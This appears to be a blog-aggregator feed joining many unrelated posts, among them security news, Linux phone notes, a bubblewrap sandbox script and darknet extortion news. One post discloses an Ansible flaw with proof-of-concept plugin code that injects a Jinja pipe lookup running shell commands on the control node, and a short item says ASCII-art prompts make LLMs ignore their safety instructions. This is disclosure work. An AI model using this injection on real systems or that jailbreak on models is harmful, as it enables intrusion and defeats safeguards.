Maybe if we went back to a 90% marginal rate of income tax, reintroduced food rationing, raised the retirement age to 80, expropriated all private property portfolios worth over £1M above the value of the primary residence, and introduced flag-shagging as a mandatory subject in primary schools—in other words: turn our backs on every social change, good or bad, since roughly 1960, and accept a future of regimented poverty and militarism—we could be ready to field a mass conscript army armed with rifles on the battlefields of 2045 ... but frankly it's cheaper to invest in killer robots. Or better still, give peace a chance?

Apple and Microsoft recently released software updates to fix dozens of security holes in their operating systems. Microsoft today patched at least 60 vulnerabilities in its Windows OS. Meanwhile, Apple’s new macOS Sonoma addresses at least 68 security weaknesses, and its latest update for iOS fixes two zero-day flaws.

Last week, Apple pushed out an urgent software update to its flagship iOS platform, warning that there were at least two zero-day exploits for vulnerabilities being used in the wild (CVE-2024-23225 and CVE-2024-23296). The security updates are available in iOS 17.4, iPadOS 17.4, and iOS 16.7.6.

Apple’s macOS Sonoma 14.4 Security Update addresses dozens of security issues. Jason Kitka, chief information security officer at Automox, said the vulnerabilities patched in this update often stem from memory safety issues, a concern that has led to a broader industry conversation about the adoption of memory-safe programming languages [full disclosure: Automox is an advertiser on this site].

On Feb. 26, 2024, the Biden administration issued a report that calls for greater adoption of memory-safe programming languages. On Mar. 4, 2024, Google published Secure by Design, which lays out the company’s perspective on memory safety risks.

Mercifully, there do not appear to be any zero-day threats hounding Windows users this month (at least not yet). Satnam Narang, senior staff research engineer at Tenable, notes that of the 60 CVEs in this month’s Patch Tuesday release, only six are considered “more likely to be exploited” according to Microsoft.

Those more likely to be exploited bugs are mostly “elevation of privilege vulnerabilities” including CVE-2024-26182 (Windows Kernel), CVE-2024-26170 (Windows Composite Image File System (CimFS), CVE-2024-21437 (Windows Graphics Component), and CVE-2024-21433 (Windows Print Spooler).

Narang highlighted CVE-2024-21390 as a particularly interesting vulnerability in this month’s Patch Tuesday release, which is an elevation of privilege flaw in Microsoft Authenticator, the software giant’s app for multi-factor authentication. Narang said a prerequisite for an attacker to exploit this flaw is to already have a presence on the device either through malware or a malicious application.

“If a victim has closed and re-opened the Microsoft Authenticator app, an attacker could obtain multi-factor authentication codes and modify or delete accounts from the app,” Narang said. “Having access to a target device is bad enough as they can monitor keystrokes, steal data and redirect users to phishing websites, but if the goal is to remain stealth, they could maintain this access and steal multi-factor authentication codes in order to login to sensitive accounts, steal data or hijack the accounts altogether by changing passwords and replacing the multi-factor authentication device, effectively locking the user out of their accounts.”

CVE-2024-21334 earned a CVSS (danger) score of 9.8 (10 is the worst), and it concerns a weakness in Open Management Infrastructure (OMI), a Linux-based cloud infrastructure in Microsoft Azure. Microsoft says attackers could connect to OMI instances over the Internet without authentication, and then send specially crafted data packets to gain remote code execution on the host device.

CVE-2024-21435 is a CVSS 8.8 vulnerability in Windows OLE, which acts as a kind of backbone for a great deal of communication between applications that people use every day on Windows, said Ben McCarthy, lead cybersecurity engineer at Immersive Labs.

“With this vulnerability, there is an exploit that allows remote code execution, the attacker needs to trick a user into opening a document, this document will exploit the OLE engine to download a malicious DLL to gain code execution on the system,” Breen explained. “The attack complexity has been described as low meaning there is less of a barrier to entry for attackers.”

A full list of the vulnerabilities addressed by Microsoft this month is available at the SANS Internet Storm Center, which breaks down the updates by severity and urgency.

Finally, Adobe today issued security updates that fix dozens of security holes in a wide range of products, including Adobe Experience Manager, Adobe Premiere Pro, ColdFusion 2023 and 2021, Adobe Bridge, Lightroom, and Adobe Animate. Adobe said it is not aware of active exploitation against any of the flaws.

By the way, Adobe recently enrolled all of its Acrobat users into a “new generative AI feature” that scans the contents of your PDFs so that its new “AI Assistant” can  “understand your questions and provide responses based on the content of your PDF file.” Adobe provides instructions on how to disable the AI features and opt out here.

Kasmir Hill has the story:

Modern cars are internet-enabled, allowing access to services like navigation, roadside assistance and car apps that drivers can connect to their vehicles to locate them or unlock them remotely. In recent years, automakers, including G.M., Honda, Kia and Hyundai, have started offering optional features in their connected-car apps that rate people’s driving. Some drivers may not realize that, if they turn on these features, the car companies then give information about how they drive to data brokers like LexisNexis [who then sell it to insurance companies].

Automakers and data brokers that have partnered to collect detailed driving data from millions of Americans say they have drivers’ permission to do so. But the existence of these partnerships is nearly invisible to drivers, whose consent is obtained in fine print and murky privacy policies that few read.

The arms race continues, as burglars are learning how to use jammers to disable Wi-Fi security cameras.

To achieve my aims regarding Convergence of mobile phone and PC [1] I need something a big bigger than the 4G of RAM that’s in the PinePhone Pro [2]. The PinePhonePro was released at the end of 2021 but has a SoC that was first released in 2016. That SoC seems to compare well to the ones used in the Pixel and Pixel 2 phones that were released in the same time period so it’s not a bad SoC, but it doesn’t compare well to more recent Android devices and it also isn’t a great fit for the non-Android things I want to do. Also the PinePhonePro and Librem5 have relatively short battery life so reusing Android functionality for power saving could provide a real benefit. So I want a phone designed for the mass market that I can use for running Debian.

PostmarketOS

One thing I’m definitely not going to do is attempt a full port of Linux to a different platform or support of kernel etc. So I need to choose a device that already has support from a somewhat free Linux system. The PostmarketOS system is the first I considered, the PostmarketOS Wiki page of supported devices [3] was the first place I looked. The “main” supported devices are the PinePhone (not Pro) and the Librem5, both of which are under-powered. For the “community” devices there seems to be nothing that supports calls, SMS, mobile data, and USB-OTG and which also has 4G of RAM or more. If I skip USB-OTG (which presumably means I’d have to get dock functionality via wifi – not impossible but not great) then I’m left with the SHIFT6mq which was never sold in Australia and the Xiomi POCO F1 which doesn’t appear to be available on ebay.

LineageOS

The libhybris libraries are a compatibility layer between Android and glibc programs [4]. Which includes running Wayland with Android display drivers. So running a somewhat standard Linux desktop on top of an Android kernel should be possible. Here is a table of the LineageOS supported devices that seem to have a useful feature set and are available in Australia and which could be used for running Debian with firmware and drivers copied from Android. I only checked LineageOS as it seems to be the main free Android build.

The LineageOS device search page [9] allows searching by kernel version. There are no phones with a 6.6 (2023) or 6.1 (2022) Linux kernel and only the Pixel 8/8Pro and the OnePlus 11 5G run 5.15 (2021). There are 8 Google devices (Pixel 6/7 and a tablet) running 5.10 (2020), 18 devices running 5.4 (2019), and 32 devices running 4.19 (2018). There are 186 devices running kernels older than 4.19 – which aren’t in the kernel.org supported release list [10]. The Pixel 8 Pro with 12G of RAM and the OnePlus 11 5G with 16G of RAM are appealing as portable desktop computers, until recently my main laptop had 8G of RAM. But they cost over $1000 second hand compared to $359 for my latest laptop.

Fosdem had an interesting lecture from two Fairphone employees about what they are doing to make phone production fairer for workers and less harmful for the environment [11]. But they don’t have the market power that companies like Google have to tell SoC vendors what they want.

IP Laws and Practices

Bunnie wrote an insightful and informative blog post about the difference between intellectual property practices in China and US influenced countries and his efforts to reverse engineer a commonly used Chinese SoC [12]. This is a major factor in the lack of support for FOSS on phones and other devices.

Droidian and Buying a Note 9

The FOSDEM 2023 has a lecture about the Droidian project which runs Debian with firmware and drivers from Android to make a usable mostly-FOSS system [13]. It’s interesting how they use containers for the necessary Android apps. Here is the list of devices supported by Droidian [14].

Two notable entries in the list of supported devices are the Volla Phone and Volla Phone 22 from Volla – a company dedicated to making open Android based devices [15]. But they don’t seem to be available on ebay and the new price of the Volla Phone 22 is E452 ($AU750) which is more than I want to pay for a device that isn’t as open as the Pine64 and Purism products. The Volla Phone 22 only has 4G of RAM.

I just bought a Note 9 with 128G of storage and 6G of RAM for $109 to try out Droidian, it has some screen burn but that’s OK for a test system and if I end up using it seriously I’ll just buy another that’s in as-new condition. With no support for an external display I’ll need to setup a software dock to do Convergence, but that’s not a serious problem. If I end up making a Note 9 with Droidian my daily driver then I’ll use the 512G/8G model for that and use the cheap one for testing.

Mobian

I should have checked the Mobian list first as it’s the main Debian variant for phones.

From the Mobian Devices list [16] the OnePlus 6T has 8G of RAM or more but isn’t available in Australia and costs more than $400 when imported. The PocoPhone F1 doesn’t seem to be available on ebay. The Shift6mq is made by a German company with similar aims to the Fairphone [17], it looks nice but costs E577 which is more than I want to spend and isn’t on the officially supported list.

Smart Watches

The same issues apply to smart watches. AstereoidOS is a free smart phone OS designed for closed hardware [18]. I don’t have time to get involved in this sort of thing though, I can’t hack on every device I use.

• [1] https://etbe.coker.com.au/2023/05/29/considering-convergence/
• [2] https://en.wikipedia.org/wiki/PinePhone_Pro
• [3] https://wiki.postmarketos.org/wiki/Devices
• [4] https://en.wikipedia.org/wiki/Libhybris
• [5] https://wiki.lineageos.org/devices/pstar/
• [6] https://wiki.lineageos.org/devices/nio/variant1/
• [7] https://wiki.lineageos.org/devices/FP4/
• [8] https://wiki.lineageos.org/devices/nx659j/variant1/
• [9] https://wiki.lineageos.org/devices/
• [10] https://www.kernel.org/category/releases.html
• [11] https://tinyurl.com/ykdbxf4a
• [12] https://www.bunniestudios.com/blog/?p=4297
• [13] https://tinyurl.com/29jfaw4f
• [14] https://devices.droidian.org/
• [15] https://volla.online/en/
• [16] https://wiki.debian.org/Mobian/Devices
• [17] https://shop.shiftphones.com/shift6mq.html
• [18] https://asteroidos.org/watches/

Donald was cutting a swathe through a jungle of old Java code, when he found this:

protected void waitForEnd(float time) {
	// do nothing
}

Well, this function sure sounds like it's waiting around to die. This protected method is called from a private method, and you might expect that child classes actually implement real functionality in there, but there were no child classes. This was called in several places, and each time it was passed Float.MAX_VALUE as its input.

Poking at that odd function also lead to this more final method:

public void waitAtEnd() {
	System.exit(0);
}

This function doesn't wait for anything- it just ends the program. Finally and decisively. It is the end.

I know the end of this story: many, many developers have worked on this code base, and many of them hoped to clean up the codebase and make it better. Many of them got lost, never to return. Many ran away screaming.

[Advertisement] Utilize BuildMaster to release your software with confidence, at the pace your business demands. Download today!

Author: Majoki The float bobs and I feel a slight tug on the line, a nip at the hook. A shiver of guilt, a nanosecond’s exhilaration. I finesse the reel, patient. What will rise? There’s nothing like fishing in a black hole, quantum casting for bits and pieces of worlds beneath, within, among. You just […]

The post Bait appeared first on 365tomorrows.

Release 0.6.35 of the digest package arrived at CRAN today and has also been uploaded to Debian already.

digest creates hash digests of arbitrary R objects. It can use a number different hashing algorithms (md5, sha-1, sha-256, sha-512, crc32, xxhash32, xxhash64, murmur32, spookyhash, blake3,crc32c – and now also xxh3_64 and xxh3_128), and enables easy comparison of (potentially large and nested) R language objects as it relies on the native serialization in R. It is a mature and widely-used package (with 65.8 million downloads just on the partial cloud mirrors of CRAN which keep logs) as many tasks may involve caching of objects for which it provides convenient general-purpose hash key generation to quickly identify the various objects.

This release updates the included xxHash version to the current verion 0.8.2 updating the existing xxhash32 and xxhash64 hash functions — and also adding the newer xxh3_64 and xxh3_128 ones. We have a project at work using xxh3_128 from Python which made me realize having it from R would be nice too, and given the existing infrastructure in the package actually doing so was fairly quick and straightforward.

My CRANberries provides a summary of changes to the previous version. For questions or comments use the issue tracker off the GitHub repo. For documentation (including the changelog) see the documentation site.

If you like this or other open-source work I do, you can now sponsor me at GitHub.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

I like using one machine and setup for everything, from serious development work to hobby projects to managing my finances. This is very convenient, as often the lines between these are blurred. But it is also scary if I think of the large number of people who I have to trust to not want to extract all my personal data. Whenever I run a cabal install, or a fun VSCode extension gets updated, or anything like that, I am running code that could be malicious or buggy.

In a way it is surprising and reassuring that, as far as I can tell, this commonly does not happen. Most open source developers out there seem to be nice and well-meaning, after all.

Convenient or it won’t happen

Nevertheless I thought I should do something about this. The safest option would probably to use dedicated virtual machines for the development work, with very little interaction with my main system. But knowing me, that did not seem likely to happen, as it sounded like a fair amount of hassle. So I aimed for a viable compromise between security and convenient, and one that does not get too much in the way of my current habits.

For instance, it seems desirable to have the project files accessible from my unconstrained environment. This way, I could perform certain actions that need access to secret keys or tokens, but are (unlikely) to run code (e.g. git push, git pull from private repositories, gh pr create) from “the outside”, and the actual build environment can do without access to these secrets.

The user experience I thus want is a quick way to enter a “development environment” where I can do most of the things I need to do while programming (network access, running command line and GUI programs), with access to the current project, but without access to my actual /home directory.

I initially followed the blog post “Application Isolation using NixOS Containers” by Marcin Sucharski and got something working that mostly did what I wanted, but then a colleague pointed out that tools like firejail can achieve roughly the same with a less “global” setup. I tried to use firejail, but found it to be a bit too inflexible for my particular whims, so I ended up writing a small wrapper around the lower level sandboxing tool https://github.com/containers/bubblewrap.

Selective bubblewrapping

This script, called dev and included below, builds a new filesystem namespace with minimal /proc and /dev directories, it’s own /tmp directories. It then binds-mound some directories to make the host’s NixOS system available inside the container (/bin, /usr, the nix store including domain socket, stuff for OpenGL applications). My user’s home directory is taken from ~/.dev-home and some configuration files are bind-mounted for convenient sharing. I intentionally don’t share most of the configuration – for example, a direnv enable in the dev environment should not affect the main environment. The X11 socket for graphical applications and the corresponding .Xauthority file is made available. And finally, if I run dev in a project directory, this project directory is bind mounted writable, and the current working directory is preserved.

The effect is that I can type dev on the command line to enter “dev mode” rather conveniently. I can run development tools, including graphical ones like VSCode, and especially the latter with its extensions is part of the sandbox. To do a git push I either exit the development environment (Ctrl-D) or open a separate terminal. Overall, the inconvenience of switching back and forth seems worth the extra protection.

Clearly, isn’t going to hold against a determined and maybe targeted attacker (e.g. access to the X11 and the nix daemon socket can probably be used to escape easily). But I hope it will help against a compromised dev dependency that just deletes or exfiltrates data, like keys or passwords, from the usual places in $HOME.

Rough corners

There is more polishing that could be done.

• In particular, clicking on a link inside VSCode in the container will currently open Firefox inside the container, without access to my settings and cookies etc. Ideally, links would be opened in the Firefox running outside. This is a problem that has a solution in the world of applications that are sandboxed with Flatpak, and involves a bunch of moving parts (a xdg-desktop-portal user service, a filtering dbus proxy, exposing access to that proxy in the container). I experimented with that for a bit longer than I should have, but could not get it to work to satisfaction (even without a container involved, I could not get xdg-desktop-portal to heed my default browser settings…). For now I will live with manually copying and pasting URLs, we’ll see how long this lasts.

• With this setup (and unlike the NixOS container setup I tried first), the same applications are installed inside and outside. It might be useful to separate the set of installed programs: There is simply no point in running evolution or firefox inside the container, and if I do not even have VSCode or cabal available outside, so that it’s less likely that I forget to enter dev before using these tools.

  It shouldn’t be too hard to cargo-cult some of the NixOS Containers infrastructure to be able to have a separate system configuration that I can manage as part of my normal system configuration and make available to bubblewrap here.

So likely I will refine this some more over time. Or get tired of typing dev and going back to what I did before…

The script

#!/usr/bin/env bash

extra=()
if [[ "$PWD" == /home/jojo/build/* ]] || [[ "$PWD" == /home/jojo/projekte/programming/* ]]
then
extra+=(--bind "$PWD" "$PWD" --chdir "$PWD")
fi

if [ -n "$1" ]
then
    cmd=( "$@" )
else
    cmd=( bash )
fi

# Caveats:
# * access to all of `/etc`
# * access to `/nix/var/nix/daemon-socket/socket`, and is trusted user (but needed to run nix)
# * access to X11

exec bwrap \
  --unshare-all \
\
`# blank slate` \
  --share-net \
  --proc /proc \
  --dev /dev \
  --tmpfs /tmp \
  --tmpfs /run/user/1000 \
\
`# Needed for GLX applications, in paticular alacritty` \
  --dev-bind /dev/dri /dev/dri \
  --ro-bind /sys/dev/char /sys/dev/char \
  --ro-bind /sys/devices/pci0000:00 /sys/devices/pci0000:00 \
  --ro-bind /run/opengl-driver /run/opengl-driver \
\
  --ro-bind /bin /bin \
  --ro-bind /usr /usr \
  --ro-bind /run/current-system /run/current-system \
  --ro-bind /nix /nix \
  --ro-bind /etc /etc \
  --ro-bind /run/systemd/resolve/stub-resolv.conf /run/systemd/resolve/stub-resolv.conf \
\
  --bind ~/.dev-home /home/jojo \
  --ro-bind ~/.config/alacritty ~/.config/alacritty  \
  --ro-bind ~/.config/nvim ~/.config/nvim  \
  --ro-bind ~/.local/share/nvim ~/.local/share/nvim  \
  --ro-bind ~/.bin ~/.bin \
\
  --bind /tmp/.X11-unix/X0 /tmp/.X11-unix/X0 \
  --bind ~/.Xauthority ~/.Xauthority \
  --setenv DISPLAY :0 \
\
  --setenv container dev \
  "${extra[@]}" \
  -- \
  "${cmd[@]}"

I had reported this to Ansible a year ago (2023-02-23), but it seems this is considered expected behavior, so I am posting it here now.

TL;DR

Don't ever consume any data you got from an inventory if there is a chance somebody untrusted touched it.

Inventory plugins

Inventory plugins allow Ansible to pull inventory data from a variety of sources. The most common ones are probably the ones fetching instances from clouds like Amazon EC2 and Hetzner Cloud or the ones talking to tools like Foreman.

For Ansible to function, an inventory needs to tell Ansible how to connect to a host (so e.g. a network address) and which groups the host belongs to (if any). But it can also set any arbitrary variable for that host, which is often used to provide additional information about it. These can be tags in EC2, parameters in Foreman, and other arbitrary data someone thought would be good to attach to that object.

And this is where things are getting interesting. Somebody could add a comment to a host and that comment would be visible to you when you use the inventory with that host. And if that comment contains a Jinja expression, it might get executed. And if that Jinja expression is using the pipe lookup, it might get executed in your shell.

Let that sink in for a moment, and then we'll look at an example.

Example inventory plugin

from ansible.plugins.inventory import BaseInventoryPlugin

class InventoryModule(BaseInventoryPlugin):

    NAME = 'evgeni.inventoryrce.inventory'

    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid

    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('exploit.example.com')
        self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local')
        self.inventory.set_variable('exploit.example.com', 'something_funny', '{{ lookup("pipe", "touch /tmp/hacked" ) }}')

The code is mostly copy & paste from the Developing dynamic inventory docs for Ansible and does three things:

1. defines the plugin name as evgeni.inventoryrce.inventory
2. accepts any config that ends with evgeni.yml (we'll need that to trigger the use of this inventory later)
3. adds an imaginary host exploit.example.com with local connection type and something_funny variable to the inventory

In reality this would be talking to some API, iterating over hosts known to it, fetching their data, etc. But the structure of the code would be very similar.

The crucial part is that if we have a string with a Jinja expression, we can set it as a variable for a host.

Using the example inventory plugin

Now we install the collection containing this inventory plugin, or rather write the code to ~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py (or wherever your Ansible loads its collections from).

And we create a configuration file. As there is nothing to configure, it can be empty and only needs to have the right filename: touch inventory.evgeni.yml is all you need.

If we now call ansible-inventory, we'll see our host and our variable present:

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list
{
    "_meta": {
        "hostvars": {
            "exploit.example.com": {
                "ansible_connection": "local",
                "something_funny": "{{ lookup(\"pipe\", \"touch /tmp/hacked\" ) }}"
            }
        }
    },
    "all": {
        "children": [
            "ungrouped"
        ]
    },
    "ungrouped": {
        "hosts": [
            "exploit.example.com"
        ]
    }
}

(ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory is required to allow the use of our inventory plugin, as it's not in the default list.)

So far, nothing dangerous has happened. The inventory got generated, the host is present, the funny variable is set, but it's still only a string.

Executing a playbook, interpreting Jinja

To execute the code we'd need to use the variable in a context where Jinja is used. This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM.

Or a debug task where you dump all variables of a host to analyze what's set. Let's use that!

- hosts: all
  tasks:
    - name: Display all variables/facts known for a host
      ansible.builtin.debug:
        var: hostvars[inventory_hostname]

This playbook looks totally innocent: run against all hosts and dump their hostvars using debug. No mention of our funny variable. Yet, when we execute it, we see:

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************

TASK [Gathering Facts] ************************************************************************************
ok: [exploit.example.com]

TASK [Display all variables/facts known for a host] *******************************************************
ok: [exploit.example.com] => {
    "hostvars[inventory_hostname]": {
        "ansible_all_ipv4_addresses": [
            "192.168.122.1"
        ],
        …
        "something_funny": ""
    }
}

PLAY RECAP *************************************************************************************************
exploit.example.com  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

We got all variables dumped, that was expected, but now something_funny is an empty string? Jinja got executed, and the expression was {{ lookup("pipe", "touch /tmp/hacked" ) }} and touch does not return anything. But it did create the file!

% ls -alh /tmp/hacked 
-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked

We just "hacked" the Ansible control node (aka: your laptop), as that's where lookup is executed. It could also have used the url lookup to send the contents of your Ansible vault to some internet host. Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/….

Why is this possible?

This happens because set_variable(entity, varname, value) doesn't mark the values as unsafe and Ansible processes everything with Jinja in it.

In this very specific example, a possible fix would be to explicitly wrap the string in AnsibleUnsafeText by using wrap_var:

from ansible.utils.unsafe_proxy import wrap_var
…
self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var('{{ lookup("pipe", "touch /tmp/hacked" ) }}'))

Which then gets rendered as a string when dumping the variables using debug:

"something_funny": "{{ lookup(\"pipe\", \"touch /tmp/hacked\" ) }}"

But it seems inventories don't do this:

for k, v in host_vars.items():
    self.inventory.set_variable(name, k, v)

(aws_ec2.py)

for key, value in hostvars.items():
    self.inventory.set_variable(hostname, key, value)

(hcloud.py)

for k, v in hostvars.items():
    try:
        self.inventory.set_variable(host_name, k, v)
    except ValueError as e:
        self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))

(foreman.py)

And honestly, I can totally understand that. When developing an inventory, you do not expect to handle insecure input data. You also expect the API to handle the data in a secure way by default. But set_variable doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe".

Can something similar happen in other parts of Ansible?

It certainly happened in the past that Jinja was abused in Ansible: CVE-2016-9587, CVE-2017-7466, CVE-2017-7481

But even if we only look at inventories, add_host(host) can be abused in a similar way:

from ansible.plugins.inventory import BaseInventoryPlugin

class InventoryModule(BaseInventoryPlugin):

    NAME = 'evgeni.inventoryrce.inventory'

    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid

    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }}')

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************

TASK [Gathering Facts] ************************************************************************************
fatal: [lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }}]: UNREACHABLE! => {"changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true}

PLAY RECAP ************************************************************************************************
lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }} : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0

% ls -alh /tmp/hacked-host
-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host

Affected versions

I've tried this on Ansible (core) 2.13.13 and 2.16.4. I'd totally expect older versions to be affected too, but I have not verified that.

Researchers have demonstrated that putting words in ASCII art can cause LLMs—GPT-3.5, GPT-4, Gemini, Claude, and Llama2—to ignore their safety instructions.

Research paper.

Borrowing from the playbook of ransomware purveyors, the darknet narcotics bazaar Incognito Market has begun extorting all of its vendors and buyers, threatening to publish cryptocurrency transaction and chat records of users who refuse to pay a fee ranging from $100 to $20,000. The bold mass extortion attempt comes just days after Incognito Market administrators reportedly pulled an “exit scam” that left users unable to withdraw millions of dollars worth of funds from the platform.

An extortion message currently on the Incognito Market homepage.

In the past 24 hours, the homepage for the Incognito Market was updated to include a blackmail message from its owners, saying they will soon release purchase records of vendors who refuse to pay to keep the records confidential.

“We got one final little nasty surprise for y’all,” reads the message to Incognito Market users. “We have accumulated a list of private messages, transaction info and order details over the years. You’ll be surprised at the number of people that relied on our ‘auto-encrypt’ functionality. And by the way, your messages and transaction IDs were never actually deleted after the ‘expiry’….SURPRISE SURPRISE!!! Anyway, if anything were to leak to law enforcement, I guess nobody never slipped up.”

Incognito Market says it plans to publish the entire dump of 557,000 orders and 862,000 cryptocurrency transaction IDs at the end of May.

“Whether or not you and your customers’ info is on that list is totally up to you,” the Incognito administrators advised. “And yes, this is an extortion!!!!”

The extortion message includes a “Payment Status” page that lists the darknet market’s top vendors by their handles, saying at the top that “you can see which vendors care about their customers below.” The names in green supposedly correspond to users who have already opted to pay.

The “Payment Status” page set up by the Incognito Market extortionists.

We’ll be publishing the entire dump of 557k orders and 862k crypto transaction IDs at the end of May, whether or not you and your customers’ info is on that list is totally up to you. And yes, this is an extortion!!!!

Incognito Market said it plans to open up a “whitelist portal” for buyers to remove their transaction records “in a few weeks.”

The mass-extortion of Incognito Market users comes just days after a large number of users reported they were no longer able to withdraw funds from their buyer or seller accounts. The cryptocurrency-focused publication Cointelegraph.com reported Mar. 6 that Incognito was exit-scamming its users out of their bitcoins and Monero deposits.

CoinTelegraph notes that Incognito Market administrators initially lied about the situation, and blamed users’ difficulties in withdrawing funds on recent changes to Incognito’s withdrawal systems.

Incognito Market deals primarily in narcotics, so it’s likely many users are now worried about being outed as drug dealers. Creating a new account on Incognito Market presents one with an ad for 5 grams of heroin selling for $450.

New Incognito Market users are treated to an ad for $450 worth of heroin.

The double whammy now hitting Incognito Market users is somewhat akin to the double extortion techniques employed by many modern ransomware groups, wherein victim organizations are hacked, relieved of sensitive information and then presented with two separate ransom demands: One in exchange for a digital key needed to unlock infected systems, and another to secure a promise that any stolen data will not be published or sold, and will be destroyed.

Incognito Market has priced its extortion for vendors based on their status or “level” within the marketplace. Level 1 vendors can supposedly have their information removed by paying a $100 fee. However, larger “Level 5” vendors are asked to cough up $20,000 payments.

The past is replete with examples of similar darknet market exit scams, which tend to happen eventually to all darknet markets that aren’t seized and shut down by federal investigators, said Brett Johnson, a convicted and reformed cybercriminal who built the organized cybercrime community Shadowcrew many years ago.

“Shadowcrew was the precursor to today’s Darknet Markets and laid the foundation for the way modern cybercrime channels still operate today,” Johnson said. “The Truth of Darknet Markets? ALL of them are Exit Scams. The only question is whether law enforcement can shut down the market and arrest its operators before the exit scam takes place.”

Author: Julian Miles, Staff Writer Condor’s back. Ten years ago he stood in front of me, the rain streaming down his face failing to dim the fire in his eyes. In reply to my question about why I should hold off reporting, he offered me a datacard. “Your enthusiasm gets you involved in dangerous events. […]

The post Breaking News appeared first on 365tomorrows.

FreeBSDGuy sends us a VB .Net snippet, which layers on a series of mistakes:

If (gLang = "en") Then
    If (item.Text.Equals("Original")) Then
        item.Enabled = False
    End If
ElseIf (gLang = "fr") Then
    If (item.Text.Equals("Originale")) Then
        item.Enabled = False
    End If
Else
    If (item.Text.Equals("Original")) Then
        item.Enabled = False
    End If
End If

The goal of this code is to disable the "original" field, so the user can't edit it. To do this, it checks what language the application is configured to use, and then based on the language, checks for the word "Original" in either English or French.

The first obvious mistake is that we're identifying UI widgets based on the text inside of them, instead of by some actual identifier.

As an aside, this text sure as heck sounds like a label which already doesn't allow editing, so I think they're using the wrong widget here, but I can't be sure.

Then we're hard-coding in our string for comparison, which is already not great, but then we are hard-coding in two languages. It's worth noting that .NET has some pretty robust internationalization features that help you externalize those strings. I suspect this app has a lot of if (gLang = "en") calls scattered around, instead of letting the framework handle it.

But there's one final problem that this code doesn't make clear: they are using more unique identifiers to find this widget, so they don't actually need to do the If (item.Text.Equals("Original")) check. FreeBSDGuy replaced this entire block with a single line:

 item.Enabled = False

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Initial results in using LLMs to unredact text based on the size of the individual-word redaction rectangles.

This feels like something that a specialized ML system could be trained on.

FTP master

This month I accepted 242 and rejected 42 packages. The overall number of packages that got accepted was 251.

This was just a short month and the weather outside was not really motivating. I hope it will be better in March.

Debian LTS

This was my hundred-sixteenth month that I did some work for the Debian LTS initiative, started by Raphael Hertzog at Freexian.

During my allocated time I uploaded:

• [DLA 3739-1] libjwt security update for one CVE to fix some ‘constant-time-for-execution-issue
• [libjwt] upload to unstable
• [#1064550] Bullseye PU bug for libjwt
• [#1064551] Bookworm PU bug for libjwt
• [#1064551] Bookworm PU bug for libjwt; upload after approval
• [DLA 3741-1] engrampa security update for one CVE to fix a path traversal issue with CPIO archives
• [#1060186] Bookworm PU-bug for libde265 was flagged for acceptance
• [#1056935] Bullseye PU-bug for libde265 was flagged for acceptance

I also started to work on qtbase-opensource-src (an update is needed for ELTS, so an LTS update seems to be appropriate as well, especially as there are postponed CVE).

Debian ELTS

This month was the sixty-seventth ELTS month. During my allocated time I uploaded:

• [ELA-1047-1]bind9 security update for one CVE to fix an stack exhaustion issue in Jessie and Stretch

The upload of bind9 was a bit exciting, but all occuring issues with the new upload workflow could be quickly fixed by Helmut and the packages finally reached their destination. I wonder why it is always me who stumbles upon special cases? This month I also worked on the Jessie and Stretch updates for exim4. I also started to work on an update for qtbase-opensource-src in Stretch (and LTS and other releases as well).

Debian Printing

This month I uploaded new upstream versions of:

• … cpdb-libs

This work is generously funded by Freexian!

Debian Matomo

I started a new team debian-matomo-maintainers. Within this team all matomo related packages should be handled. PHP PEAR or PECL packages shall be still maintained in their corresponding teams.

This month I uploaded:

• … matomo-searchengine-and-social-list
• … matomo-referrer-spam-list
• … matomo-php-tracker
• … matomo-device-detector
• … matomo-component-ini

This work is generously funded by Freexian!

Debian Astro

This month I uploaded a new upstream version of:

• … libahp-xc

Debian IoT

This month I uploaded new upstream versions of:

• … libjwt to fix a CVE

Recently, I got a new laptop and had to set it up so I could start using it. But I wasn't really in the mood to go through the same old steps which I had explained in this post earlier. I was complaining about this to my colleague, and there came the suggestion of why not copy the entire disk to the new laptop. Though it sounded like an interesting idea to me, I had my doubts, so here is what I told him in return.

1. I don't have the tools to open my old laptop and connect the new disk over USB to my new laptop.
2. I use full disk encryption, and my old laptop has a 512GB disk, whereas the new laptop has a 1TB NVME, and I'm not so familiar with resizing LUKS.

He promptly suggested both could be done. For step 1, just expose the disk using NVME over TCP and connect it over the network and do a full disk copy, and the rest is pretty simple to achieve. In short, he suggested the following:

1. Export the disk using nvmet-tcp from the old laptop.
2. Do a disk copy to the new laptop.
3. Resize the partition to use the full 1TB.
4. Resize LUKS.
5. Finally, resize the BTRFS root disk.

